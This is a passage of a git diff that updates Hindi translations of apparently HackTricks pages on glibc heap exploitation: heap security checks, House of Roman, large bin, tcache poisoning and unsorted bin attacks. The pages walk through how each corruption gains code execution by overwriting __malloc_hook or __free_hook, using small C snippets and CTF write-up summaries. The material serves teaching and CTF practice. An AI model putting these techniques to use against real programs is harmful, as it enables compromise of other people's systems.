उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के पointers स्थित थे ताकि कुछ पointers को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना। - आप एक फास्ट बिन हमला असंरचित बिन हमले के माध्यम से दुरुपयोग करते हुए पा सकते हैं: - ध्यान दें कि फास्ट बिन हमले करने से पहले libc/heap पते लीक करने के लिए फ्री-लिस्ट का दुरुपयोग करना सामान्य है (जब आवश्यक हो)। - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 3d91ff0e9..1f61d0e06 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -6,6 +6,7 @@ अधिक जानकारी के लिए देखें: + {{#ref}} unlink.md {{#endref}} @@ -23,6 +24,7 @@ unlink.md अधिक जानकारी के लिए देखें: + {{#ref}} malloc-and-sysmalloc.md {{#endref}} @@ -30,7 +32,7 @@ malloc-and-sysmalloc.md - **फास्ट बिन खोज के दौरान चेक:** - यदि चंक गलत संरेखित है: - त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected 2` -- यदि फॉरवर्ड चंक गलत संरेखित है: +- यदि आगे का चंक गलत संरेखित है: - त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected` - यदि लौटाया गया चंक उसका इंडेक्स के कारण सही आकार नहीं है: - त्रुटि संदेश: `malloc(): memory corruption (fast)` @@ -46,7 +48,7 @@ malloc-and-sysmalloc.md - त्रुटि संदेश: `malloc_consolidate(): invalid chunk size` - यदि पिछले चंक का उपयोग नहीं हो रहा है और पिछले चंक का आकार `prev_chunk` द्वारा निर्दिष्ट आकार से भिन्न है: - त्रुटि संदेश: `corrupted size vs. prev_size in fastbins` -- **अनसॉर्टेड बिन खोज के दौरान चेक:** +- **अनसॉर्टेड बिन खोज के दौरान चेक**: - यदि चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): - त्रुटि संदेश: `malloc(): invalid size (unsorted)` - यदि अगले चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): @@ -55,8 +57,8 @@ malloc-and-sysmalloc.md - त्रुटि संदेश: `malloc(): mismatching next->prev_size (unsorted)` - यदि `victim->bck->fd == victim` नहीं है या `victim->fd == av (arena)` नहीं है: - त्रुटि संदेश: `malloc(): unsorted double linked list corrupted` -- चूंकि हम हमेशा अंतिम को चेक कर रहे हैं, इसका fd हमेशा arena struct की ओर इशारा करना चाहिए। -- यदि अगले चंक यह नहीं बता रहा है कि पिछले का उपयोग हो रहा है: +- चूंकि हम हमेशा अंतिम एक की जांच कर रहे हैं, इसका fd हमेशा arena संरचना की ओर इशारा करना चाहिए। +- यदि अगला चंक यह नहीं बता रहा है कि पिछले का उपयोग हो रहा है: - त्रुटि संदेश: `malloc(): invalid next->prev_inuse (unsorted)` - यदि `fwd->bk_nextsize->fd_nextsize != fwd`: - त्रुटि संदेश: `malloc(): largebin double linked list corrupted (nextsize)` @@ -94,6 +96,7 @@ malloc-and-sysmalloc.md अधिक जानकारी के लिए देखें: + {{#ref}} free.md {{#endref}} @@ -108,12 +111,12 @@ free.md - त्रुटि संदेश: `free(): too many chunks detected in tcache` - यदि प्रविष्टि संरेखित नहीं है: - त्रुटि संदेश: `free(): unaligned chunk detected in tcache 2` -- यदि मुक्त चंक पहले से ही मुक्त किया गया था और tcache में चंक के रूप में मौजूद है: +- यदि मुक्त किया गया चंक पहले से ही मुक्त किया गया था और tcache में चंक के रूप में मौजूद है: - त्रुटि संदेश: `free(): double free detected in tcache 2` - **`_int_free` फास्ट बिन में चेक:** - यदि चंक का आकार अमान्य है (बहुत बड़ा या छोटा) ट्रिगर करें: - त्रुटि संदेश: `free(): invalid next size (fast)` -- यदि जोड़ा गया चंक पहले से ही फास्ट बिन का शीर्ष था: +- यदि जोड़ा गया चंक पहले से ही फास्ट बिन के शीर्ष पर था: - त्रुटि संदेश: `double free or corruption (fasttop)` - यदि शीर्ष पर चंक का आकार उस चंक के आकार से भिन्न है जिसे हम जोड़ रहे हैं: - त्रुटि संदेश: `invalid fastbin entry (free)` diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index ea90d62ae..65c18fcd1 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -8,11 +8,11 @@ ### Code -- आप एक उदाहरण [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) पर पा सकते हैं। +- आप एक उदाहरण [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में पा सकते हैं। ### Goal -- सापेक्ष पॉइंटर्स का दुरुपयोग करके RCE प्राप्त करना +- सापेक्ष पॉइंटर्स का दुरुपयोग करके RCE ### Requirements @@ -51,11 +51,11 @@ unsorted: leftover_main ``` - `fastbin_victim` का `fd` `relative_offset_heap` की ओर इशारा कर रहा है - `relative_offset_heap` एक ऑफसेट है जो `fake_libc_chunk` से दूरी को दर्शाता है, जिसमें `main_arena + 0x68` की ओर एक पॉइंटर होता है -- केवल `fastbin_victim.fd` के अंतिम बाइट को बदलकर, `fastbin_victim` को `main_arena + 0x68` की ओर इशारा करना संभव है +- बस `fastbin_victim.fd` के अंतिम बाइट को बदलकर, `fastbin_victim` को `main_arena + 0x68` की ओर इशारा करना संभव है पिछले कार्यों के लिए, हमलावर को `fastbin_victim` के fd पॉइंटर को संशोधित करने में सक्षम होना चाहिए। -फिर, `main_arena + 0x68` इतना दिलचस्प नहीं है, इसलिए इसे संशोधित करें ताकि पॉइंटर **`__malloc_hook`** की ओर इशारा करे। +फिर, `main_arena + 0x68` इतना दिलचस्प नहीं है, इसलिए इसे संशोधित करते हैं ताकि पॉइंटर **`__malloc_hook`** की ओर इशारा करे। ध्यान दें कि `__memalign_hook` आमतौर पर `0x7f` से शुरू होता है और इसके पहले शून्य होते हैं, फिर इसे `0x70` फास्ट बिन में एक मान के रूप में फेक करना संभव है। क्योंकि पते के अंतिम 4 बिट **यादृच्छिक** होते हैं, इसलिए मान के अंत में इशारा करने के लिए `2^4=16` संभावनाएँ होती हैं। इसलिए यहां एक BF हमला किया जाता है ताकि चंक इस तरह समाप्त हो: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`।** @@ -71,11 +71,12 @@ uint8_t* malloc_hook_chunk = malloc(0x60); अधिक जानकारी के लिए आप देख सकते हैं: + {{#ref}} unsorted-bin-attack.md {{#endref}} -लेकिन मूल रूप से यह `chunk->bk` में निर्दिष्ट किसी भी स्थान पर `main_arena + 0x68` लिखने की अनुमति देता है। और हमले के लिए हम `__malloc_hook` चुनते हैं। फिर, इसे ओवरराइट करने के बाद हम एक सापेक्ष ओवरराइट का उपयोग करेंगे) एक `one_gadget` की ओर इशारा करने के लिए। +लेकिन मूल रूप से यह `chunk->bk` में निर्दिष्ट किसी भी स्थान पर `main_arena + 0x68` लिखने की अनुमति देता है। और हमले के लिए हम `__malloc_hook` चुनते हैं। फिर, इसे ओवरराइट करने के बाद, हम एक सापेक्ष ओवरराइट का उपयोग करेंगे) एक `one_gadget` की ओर इशारा करने के लिए। इसके लिए हम एक चंक प्राप्त करना शुरू करते हैं और इसे **unsorted bin** में डालते हैं: ```c @@ -89,19 +90,19 @@ free(unsorted_bin_ptr); इस भाग में UAF का उपयोग करें ताकि `unsorted_bin_ptr->bk` को `__malloc_hook` के पते पर इंगित किया जा सके (हमने इसे पहले ब्रूट फोर्स किया था)। > [!CAUTION] -> ध्यान दें कि यह हमला असंरचित बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब तेज बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **उसी आकार का आवंटन करना होगा या प्रोग्राम क्रैश हो जाएगा।** +> ध्यान दें कि यह हमला अनसॉर्टेड बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब फास्ट बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **उसी आकार का आवंटन करना होगा या प्रोग्राम क्रैश हो जाएगा।** -तो, `__malloc_hook` में `main_arena + 0x68` के लिखने को ट्रिगर करने के लिए, हमें `__malloc_hook` को `unsorted_bin_ptr->bk` में सेट करने के बाद बस यह करना है: **`malloc(0x80)`** +तो, `__malloc_hook` में `main_arena + 0x68` के लिखने को ट्रिगर करने के लिए, `unsorted_bin_ptr->bk` में `__malloc_hook` सेट करने के बाद हमें बस करना है: **`malloc(0x80)`** ### चरण 3: \_\_malloc_hook को सिस्टम पर सेट करें पहले चरण में, हम `__malloc_hook` वाले एक भाग को नियंत्रित करने में सफल रहे (चर `malloc_hook_chunk` में) और दूसरे चरण में हम यहां `main_arena + 0x68` लिखने में सफल रहे। -अब, हम `malloc_hook_chunk` में आंशिक ओवरराइट का दुरुपयोग करते हैं ताकि हम वहां लिखे गए libc पते (`main_arena + 0x68`) का उपयोग करके **एक `one_gadget` पते** को इंगित कर सकें। +अब, हम `malloc_hook_chunk` में आंशिक ओवरराइट का दुरुपयोग करते हैं ताकि हम वहां लिखे गए libc पते (`main_arena + 0x68`) को **`one_gadget` पते पर इंगित कर सकें**। -यहां **12 बिट की यादृच्छिकता को ब्रूटफोर्स करना आवश्यक है** (अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में)। +यहां **12 बिट की यादृच्छिकता को ब्रूटफोर्स करने की आवश्यकता है** (अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में)। -अंत में, एक बार सही पता ओवरराइट हो जाने पर, **`malloc` कॉल करें और `one_gadget` को ट्रिगर करें।** +अंत में, एक बार सही पता ओवरराइट हो जाने पर, **`malloc` कॉल करें और `one_gadget` को ट्रिगर करें**। ## संदर्भ diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index 0f6bec09d..0fb646088 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -6,19 +6,20 @@ एक बड़े बिन के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें: + {{#ref}} bins-and-memory-allocations.md {{#endref}} आप [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) में एक शानदार उदाहरण देख सकते हैं। -बुनियादी रूप से, यहाँ आप देख सकते हैं कि glibc (2.35) के नवीनतम "वर्तमान" संस्करण में, यह जांचा नहीं जाता है: **`P->bk_nextsize`** जिससे एक बड़े बिन चंक के मान के साथ एक मनमाना पते को संशोधित करना संभव है यदि कुछ शर्तें पूरी होती हैं। +बुनियादी रूप से, यहाँ आप देख सकते हैं कि glibc (2.35) के नवीनतम "वर्तमान" संस्करण में, यह जांचा नहीं जाता है: **`P->bk_nextsize`** जिससे एक बड़े बिन चंक के मान के साथ एक मनमाने पते को संशोधित करना संभव है यदि कुछ शर्तें पूरी होती हैं। उस उदाहरण में आप निम्नलिखित शर्तें पा सकते हैं: - एक बड़ा चंक आवंटित किया गया है -- पहले से छोटे एक बड़े चंक को उसी इंडेक्स में आवंटित किया गया है -- इसे बिन में पहले आना चाहिए +- पहले से छोटे एक बड़े चंक को उसी अनुक्रमांक में आवंटित किया गया है +- इसे छोटे होना चाहिए ताकि यह बिन में पहले जाए - (एक चंक शीर्ष चंक के साथ विलय को रोकने के लिए बनाया गया है) - फिर, पहले बड़े चंक को मुक्त किया जाता है और इससे बड़ा एक नया चंक आवंटित किया जाता है -> Chunk1 बड़े बिन में जाता है - फिर, दूसरे बड़े चंक को मुक्त किया जाता है @@ -28,7 +29,7 @@ bins-and-memory-allocations.md > [!TIP] > अन्य संभावित परिदृश्य हैं, बात यह है कि बड़े बिन में एक चंक जोड़ना है जो बिन में वर्तमान X चंक से **छोटा** है, इसलिए इसे बिन में इसके ठीक पहले डाला जाना चाहिए, और हमें X के **`bk_nextsize`** को संशोधित करने में सक्षम होना चाहिए क्योंकि वहीं छोटे चंक का पता लिखा जाएगा। -यह malloc से संबंधित कोड है। समझने के लिए टिप्पणियाँ जोड़ी गई हैं कि पता कैसे ओवरराइट किया गया: +यह malloc से संबंधित कोड है। टिप्पणियाँ जोड़ी गई हैं ताकि यह बेहतर समझा जा सके कि पता कैसे ओवरराइट किया गया: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); @@ -42,14 +43,14 @@ victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_next fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 } ``` -यह **libc के `global_max_fast` वैश्विक चर** को ओवरराइट करने के लिए उपयोग किया जा सकता है ताकि बड़े टुकड़ों के साथ एक तेज़ बिन हमले का शोषण किया जा सके। +यह **libc के `global_max_fast` वैश्विक चर** को ओवरराइट करने के लिए उपयोग किया जा सकता है ताकि बड़े चंक्स के साथ एक तेज़ बिन हमले का शोषण किया जा सके। आप इस हमले का एक और शानदार विवरण [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html) में पा सकते हैं। ### अन्य उदाहरण - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) -- उसी स्थिति में बड़े बिन हमले के बारे में [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) में। +- उसी स्थिति में बड़ा बिन हमला जैसा कि [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) में दिखाई देता है। - लिखने की प्राइमिटिव अधिक जटिल है, क्योंकि `global_max_fast` यहाँ बेकार है। - शोषण को समाप्त करने के लिए FSOP की आवश्यकता है। diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index caba781c1..d1ce0ef2e 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -6,42 +6,43 @@ Tcache बिन क्या है, इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें: + {{#ref}} bins-and-memory-allocations.md {{#endref}} सबसे पहले, ध्यान दें कि Tcache को Glibc संस्करण 2.26 में पेश किया गया था। -**Tcache हमला** (जिसे **Tcache विषाक्तता** के रूप में भी जाना जाता है) जो [**guyinatuxido पृष्ठ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) में प्रस्तावित किया गया है, तेज बिन हमले के समान है जहाँ लक्ष्य मुक्त किए गए खंड के अंदर बिन में अगले खंड के लिए पॉइंटर को एक मनमाने पते पर ओवरराइट करना है ताकि बाद में उस विशेष पते को **आवंटित किया जा सके और संभावित रूप से पॉइंटर्स को ओवरराइट किया जा सके**। +**Tcache हमला** (जिसे **Tcache विषाक्तता** के रूप में भी जाना जाता है) जो [**guyinatuxido पृष्ठ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) में प्रस्तावित किया गया है, तेज बिन हमले के समान है जहाँ लक्ष्य मुक्त किए गए टुकड़े के अंदर बिन में अगले टुकड़े के लिए पॉइंटर को एक मनमाने पते पर ओवरराइट करना है ताकि बाद में उस विशेष पते को **आवंटित किया जा सके और संभावित रूप से पॉइंटर्स को ओवरराइट किया जा सके**। -हालांकि, आजकल, यदि आप उल्लेखित कोड चलाते हैं तो आपको त्रुटि मिलेगी: **`malloc(): unaligned tcache chunk detected`**। इसलिए, नए पॉइंटर में पते के रूप में एक संरेखित पता लिखना आवश्यक है (या बाइनरी को पर्याप्त बार चलाना ताकि लिखा गया पता वास्तव में संरेखित हो)। +हालांकि, आजकल, यदि आप उल्लेखित कोड चलाते हैं तो आपको त्रुटि मिलेगी: **`malloc(): unaligned tcache chunk detected`**। इसलिए, नए पॉइंटर में एक संरेखित पता (या बाइनरी को पर्याप्त बार चलाना ताकि लिखा गया पता वास्तव में संरेखित हो) के रूप में लिखना आवश्यक है। ### Tcache indexes attack -आमतौर पर, यह संभव है कि हीप की शुरुआत में एक खंड हो जिसमें **tcache के अंदर प्रति इंडेक्स खंडों की मात्रा** और **प्रत्येक tcache इंडेक्स के हेड खंड का पता** हो। यदि किसी कारण से इस जानकारी को संशोधित करना संभव है, तो यह संभव होगा कि **कुछ इंडेक्स के हेड खंड को एक इच्छित पते पर इंगित किया जाए** (जैसे `__malloc_hook`) ताकि फिर एक इंडेक्स के आकार का खंड आवंटित किया जा सके और इस मामले में `__malloc_hook` की सामग्री को ओवरराइट किया जा सके। +आमतौर पर, यह संभव है कि हीप की शुरुआत में एक टुकड़ा हो जिसमें **tcache के अंदर प्रति इंडेक्स टुकड़ों की मात्रा** और **प्रत्येक tcache इंडेक्स के हेड टुकड़े का पता** हो। यदि किसी कारणवश इस जानकारी को संशोधित करना संभव है, तो यह संभव होगा कि **कुछ इंडेक्स के हेड टुकड़े को एक इच्छित पते पर इंगित किया जाए** (जैसे `__malloc_hook`) ताकि फिर एक इंडेक्स के आकार का टुकड़ा आवंटित किया जा सके और इस मामले में `__malloc_hook` की सामग्री को ओवरराइट किया जा सके। ## Examples - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) -- **Libc info leak**: यह tcaches को भरने, असंरचित सूची में एक खंड जोड़ने, tcache को खाली करने और **केवल पहले 8B को ओवरराइट करके असंरचित बिन से खंड को फिर से आवंटित करने** के लिए संभव है, जिससे **chunk से libc का दूसरा पता बरकरार रहता है ताकि हम इसे पढ़ सकें**। -- **Tcache attack**: बाइनरी एक 1B हीप ओवरफ्लो के लिए संवेदनशील है। इसका दुरुपयोग **आवंटित खंड के आकार के हेडर** को बदलने के लिए किया जाएगा जिससे यह बड़ा हो जाएगा। फिर, इस खंड को **मुक्त** किया जाएगा, इसे नकली आकार के खंडों के tcache में जोड़ दिया जाएगा। फिर, हम नकली आकार के साथ एक खंड आवंटित करेंगे, और पिछले खंड को **वापस किया जाएगा यह जानते हुए कि यह खंड वास्तव में छोटा था** और यह हमें **मेमोरी में अगले खंड को ओवरराइट करने का अवसर प्रदान करता है**।\ -हम इसका दुरुपयोग करेंगे **अगले खंड के FD पॉइंटर को ओवरराइट करने के लिए** ताकि यह **`malloc_hook`** की ओर इंगित करे, ताकि फिर 2 पॉइंटर्स आवंटित करना संभव हो: पहले वैध पॉइंटर जिसे हमने अभी संशोधित किया, और फिर दूसरा आवंटन **`malloc_hook`** में एक खंड लौटाएगा जिसे **one gadget** लिखने के लिए दुरुपयोग किया जा सकता है। +- **Libc info leak**: यह tcaches को भरना संभव है, एक टुकड़ा असंरचित सूची में जोड़ना, tcache को खाली करना और **केवल पहले 8B को ओवरराइट करते हुए असंरचित बिन से टुकड़ा फिर से आवंटित करना**। +- **Tcache attack**: बाइनरी एक 1B हीप ओवरफ्लो के लिए संवेदनशील है। इसका दुरुपयोग **आवंटित टुकड़े के आकार के हेडर** को बदलने के लिए किया जाएगा जिससे यह बड़ा हो जाएगा। फिर, इस टुकड़े को **मुक्त** किया जाएगा, इसे नकली आकार के टुकड़ों के tcache में जोड़ दिया जाएगा। फिर, हम नकली आकार के साथ एक टुकड़ा आवंटित करेंगे, और पिछले टुकड़े को **वापस किया जाएगा यह जानते हुए कि यह टुकड़ा वास्तव में छोटा था** और यह हमें **मेमोरी में अगले टुकड़े को ओवरराइट करने का अवसर प्रदान करता है**।\ +हम इसका दुरुपयोग **अगले टुकड़े के FD पॉइंटर को ओवरराइट करने के लिए** करेंगे ताकि यह **`malloc_hook`** की ओर इंगित करे, ताकि फिर 2 पॉइंटर्स आवंटित करना संभव हो: पहले वह वैध पॉइंटर जिसे हमने अभी संशोधित किया, और फिर दूसरा आवंटन **`malloc_hook`** में एक टुकड़ा लौटाएगा जिसे **one gadget** लिखने के लिए दुरुपयोग किया जा सकता है। - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) -- **Libc info leak**: यहाँ एक उपयोग के बाद मुक्त और एक डबल फ्री है। इस लेख में लेखक ने एक छोटे बिन में रखे गए खंड के पते को पढ़कर libc का पता लीक किया (जैसे असंरचित बिन से लीक करना लेकिन छोटे से)। -- **Tcache attack**: एक Tcache **डबल फ्री** के माध्यम से किया जाता है। एक ही खंड को दो बार मुक्त किया जाता है, इसलिए Tcache के अंदर खंड स्वयं की ओर इंगित करेगा। फिर, इसे आवंटित किया जाता है, इसका FD पॉइंटर **फ्री हुक** की ओर इंगित करने के लिए संशोधित किया जाता है और फिर इसे फिर से आवंटित किया जाता है ताकि सूची में अगला खंड फ्री हुक में हो। फिर, इसे भी आवंटित किया जाता है और यहाँ `system` का पता लिखना संभव है ताकि जब `"/bin/sh"` वाला malloc मुक्त किया जाए तो हमें एक शेल मिल सके। +- **Libc info leak**: यहाँ एक उपयोग के बाद मुक्त और एक डबल फ्री है। इस लेख में लेखक ने एक छोटे बिन में रखे गए टुकड़े के पते को पढ़कर libc का पता लीक किया (जैसे इसे असंरचित बिन से लीक करना लेकिन छोटे से)। +- **Tcache attack**: एक Tcache **डबल फ्री** के माध्यम से किया जाता है। एक ही टुकड़ा दो बार मुक्त किया जाता है, इसलिए Tcache के अंदर टुकड़ा अपने आप की ओर इंगित करेगा। फिर, इसे आवंटित किया जाता है, इसका FD पॉइंटर **फ्री हुक** की ओर इंगित करने के लिए संशोधित किया जाता है और फिर इसे फिर से आवंटित किया जाता है ताकि सूची में अगला टुकड़ा फ्री हुक में हो। फिर, इसे भी आवंटित किया जाता है और यहाँ `system` का पता लिखना संभव है ताकि जब एक malloc जिसमें `"/bin/sh"` हो मुक्त किया जाता है, तो हमें एक शेल मिल जाए। - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) -- यहाँ मुख्य कमजोरी यह है कि आप हीप में किसी भी पते को उसके ऑफसेट को इंगित करके `free` कर सकते हैं। -- **Tcache indexes attack**: यह संभव है कि एक ऐसे आकार का खंड आवंटित और मुक्त किया जाए जो जब tcache खंड (tcache बिन की जानकारी वाला खंड) के अंदर संग्रहीत किया जाता है तो **0x100 का मान उत्पन्न करता है**। इसका कारण यह है कि tcache प्रत्येक बिन में खंडों की मात्रा को विभिन्न बाइट्स में संग्रहीत करता है, इसलिए एक विशिष्ट इंडेक्स में एक खंड 0x100 का मान उत्पन्न करता है। -- फिर, यह मान ऐसा दिखता है जैसे 0x100 का आकार का एक खंड है। इसे `free` करके दुरुपयोग करने की अनुमति देता है। यह **उस पते को tcache में 0x100 के आकार के खंडों के इंडेक्स में जोड़ देगा**। -- फिर, **0x100** के आकार का एक खंड **आवंटित** करते समय, पिछले पते को एक खंड के रूप में वापस किया जाएगा, जिससे अन्य tcache इंडेक्स को ओवरराइट करना संभव होगा।\ -उदाहरण के लिए, malloc हुक का पता उनमें से एक में डालना और उस इंडेक्स के आकार का एक खंड आवंटित करना calloc हुक में एक खंड प्राप्त करने की अनुमति देगा, जो एक **one gadget** लिखने के लिए एक शेल प्राप्त करने की अनुमति देता है। +- यहाँ मुख्य कमजोरी यह है कि किसी भी पते को हीप में `free` करने की क्षमता है, इसके ऑफसेट को इंगित करके। +- **Tcache indexes attack**: यह संभव है कि एक ऐसे आकार का टुकड़ा आवंटित और मुक्त किया जाए जो जब tcache टुकड़े के अंदर संग्रहीत किया जाता है (tcache बिन की जानकारी वाला टुकड़ा) तो **0x100 का मान उत्पन्न करेगा**। इसका कारण यह है कि tcache प्रत्येक बिन में टुकड़ों की मात्रा को विभिन्न बाइट्स में संग्रहीत करता है, इसलिए एक विशेष इंडेक्स में एक टुकड़ा 0x100 का मान उत्पन्न करता है। +- फिर, यह मान ऐसा दिखता है जैसे 0x100 का आकार का एक टुकड़ा है। इसे `free` करके दुरुपयोग करने की अनुमति देता है। यह **उस पते को 0x100 के आकार के टुकड़ों के इंडेक्स में जोड़ देगा**। +- फिर, **0x100** के आकार का एक टुकड़ा **आवंटित** करते समय, पिछले पते को एक टुकड़े के रूप में लौटाया जाएगा, जिससे अन्य tcache इंडेक्स को ओवरराइट करना संभव हो जाएगा।\ +उदाहरण के लिए, malloc हुक का पता उनमें से एक में डालना और उस इंडेक्स के आकार का एक टुकड़ा आवंटित करना calloc हुक में एक टुकड़ा प्राप्त करने की अनुमति देगा, जो एक **one gadget** लिखने के लिए एक शेल प्राप्त करने की अनुमति देता है। - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - पहले की तरह ही कमजोरी है लेकिन एक अतिरिक्त प्रतिबंध के साथ। -- **Tcache indexes attack**: पिछले वाले के समान हमला लेकिन **tcache जानकारी वाले खंड को मुक्त करके** कम चरणों का उपयोग करके ताकि इसका पता उसके आकार के tcache इंडेक्स में जोड़ा जा सके ताकि उस आकार को आवंटित करना संभव हो और tcache खंड की जानकारी को एक खंड के रूप में प्राप्त किया जा सके, जो एक इंडेक्स के पते के रूप में फ्री हुक को जोड़ने की अनुमति देता है, इसे आवंटित करें, और उस पर एक **one gadget** लिखें। +- **Tcache indexes attack**: पिछले वाले के समान हमला लेकिन **tcache जानकारी वाला टुकड़ा मुक्त करके** कम चरणों का उपयोग करके ताकि इसका पता उसके आकार के tcache इंडेक्स में जोड़ा जा सके ताकि उस आकार को आवंटित करना संभव हो और tcache टुकड़े की जानकारी को एक टुकड़े के रूप में प्राप्त किया जा सके, जो एक इंडेक्स के पते के रूप में फ्री हुक को जोड़ने की अनुमति देता है, इसे आवंटित करें, और उस पर एक **one gadget** लिखें। - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) -- **Write After Free** `fd` पॉइंटर में एक संख्या जोड़ने के लिए। -- इस चुनौती में बहुत सारे **heap feng-shui** की आवश्यकता है। लेख में दिखाया गया है कि **Tcache** फ्री-लिस्ट के हेड को नियंत्रित करना कितना उपयोगी है। +- `fd` पॉइंटर में एक संख्या जोड़ने के लिए **Write After Free**। +- इस चुनौती में बहुत सारे **heap feng-shui** की आवश्यकता है। लेख में दिखाया गया है कि **Tcache** फ्री-लिस्ट के हेड को नियंत्रित करना कितना सुविधाजनक है। - `stdout` (FSOP) के माध्यम से **Glibc leak**। -- **Tcache poisoning** एक मनमाने लिखने की प्राइमिटिव प्राप्त करने के लिए। +- मनमाने लिखने की प्राइमिटिव प्राप्त करने के लिए **Tcache poisoning**। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index e6ca82a4e..c43505667 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,52 +4,52 @@ ## Basic Information -For more information about what is an unsorted bin check this page: +अव्यवस्थित बिन के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists `unsorted_chunks (av)` के `bk` पते पर पता लिखने में सक्षम होते हैं। इसलिए, यदि एक हमलावर **`bk` पॉइंटर के पते को संशोधित कर सकता है** एक चंक के अंदर जो अनसॉर्टेड बिन में है, तो वह **उस पते को एक मनमाने पते पर लिखने में सक्षम हो सकता है** जो Glibc पते लीक करने या कुछ रक्षा को बायपास करने में सहायक हो सकता है। +अव्यवस्थित सूचियों में `bk` पते में `unsorted_chunks (av)` का पता लिखने की क्षमता होती है। इसलिए, यदि एक हमलावर **अव्यवस्थित बिन के अंदर एक चंक में `bk` पॉइंटर के पते को संशोधित कर सकता है**, तो वह **उस पते को एक मनमाने पते पर लिखने में सक्षम हो सकता है** जो Glibc पते लीक करने या कुछ सुरक्षा को बायपास करने में सहायक हो सकता है। -तो, मूल रूप से, यह हमला **एक मनमाने पते पर एक बड़ा नंबर सेट करने की अनुमति देता है**। यह बड़ा नंबर एक पता है, जो एक हीप पता या एक Glibc पता हो सकता है। एक सामान्य लक्ष्य **`global_max_fast`** है ताकि बड़े आकार के फास्ट बिन बिन बनाए जा सकें (और अनसॉर्टेड बिन हमले से फास्ट बिन हमले में जाया जा सके)। +तो, मूल रूप से, यह हमला **एक मनमाने पते पर एक बड़ा नंबर सेट करने की अनुमति देता है**। यह बड़ा नंबर एक पता है, जो एक हीप पता या एक Glibc पता हो सकता है। एक सामान्य लक्ष्य **`global_max_fast`** है ताकि बड़े आकार के तेज बिन बिन बनाए 